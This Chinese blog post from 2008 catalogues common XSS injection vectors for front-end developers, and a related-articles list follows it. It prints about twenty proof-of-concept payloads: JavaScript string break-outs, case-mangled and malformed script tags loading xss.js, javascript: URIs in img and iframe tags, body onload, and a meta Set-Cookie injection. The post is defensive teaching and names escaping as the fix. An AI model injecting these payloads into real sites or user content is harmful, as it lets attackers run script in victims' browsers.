常见的 XSS 注入攻击方式 Part.1
作者:grace 来源:gracecode.com 时间:2008-10-30 13:06:00
前端开发常见的安全问题就是会遭受 XSS 注入攻击,这里列举常见的代码注入方式。
Javascript 代码注入
Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据(包括 JSONP)等。
很多时候会写这样的代码
document.write('u name is' + name);
这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时
';alert('xss');//
";alert('xss');//
'';!--"<xss>=&{()}
就会破坏原有代码结构,插入不期望的代码。
HTML 标签注入
HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码
逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。
<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js> </script>
<script/xss src="xss.js"></script>
<script/SRC="xss.js"></script>
<<script>alert("xss");//<</script>
<script>a=/xss/ alert(a.source)</script>
从图片标签中注入,在些论坛上比较常见
<img src="javascript:alert('xss');">
<img """><script>alert("xss")</script>">
<img src="xss.php?param">
从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)
<script a=">" SRC="xss.js"></script>
<script =">" SRC="xss.js"></script>
<script a=">" '' SRC="xss.js"></script>
其他容易注入的地方
<body onload=alert('xss')>
<iframe src="javascript:alert('xss');"></iframe>
<embed src="xss.swf" AllowScriptAccess="always"></embed>
<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">
先摘记举例那么多,下期的内容包括“CSS 注入”、“其他注入方法”以及一般性解决方案,欢迎探讨和纠正。
标签:xss,注入,前端,javascript
0
投稿
猜你喜欢
浅谈Exchange Server邮件存储系统
2010-02-25 18:53:00
饭团:百度竞价实战教程第一课
2010-03-07 14:22:00
提高网站浏览量的方法
2007-08-24 13:03:00
两个月时间做排名到百度前页 简单的三点
2008-12-16 09:58:00
vmware 实现linux目录映射window本地目录图文详解
2021-01-17 14:35:22
解决Linux服务器下误删除文件的操作
2008-09-26 17:33:00
揭密百度和谷歌收录规律
2008-12-23 13:38:00
sns的web game力量
2008-09-12 15:56:00
基础知识详解 反向链接在搜索优化中的作用
2009-01-23 14:42:00
金子(搜索引擎)与掘金者(SEOer)
2009-09-26 11:28:00
linux用户组以及权限总结
2023-07-13 14:16:43
dedeV5.5提示注册失败的解决办法
2009-08-28 12:32:00
重视你的口碑 负面信息处理常见四种方法
2009-02-20 12:53:00
网络营销-软文如何利用文章来呈现营销
2009-10-04 08:15:00
个人网站怎样转成商业网站
2008-07-29 19:32:00
DEDE模版标记
2009-05-02 18:29:00
谷歌暂停AdSense推介业务的背后
2008-07-15 07:26:00
服务器数据备份寻找适合自己的最佳做法
2009-09-20 20:17:00
centos8 安装 nginx的详细教程(图文)
2022-08-21 12:04:01
Xshell远程连接linux详细步骤(小白必备)
2022-01-29 20:05:55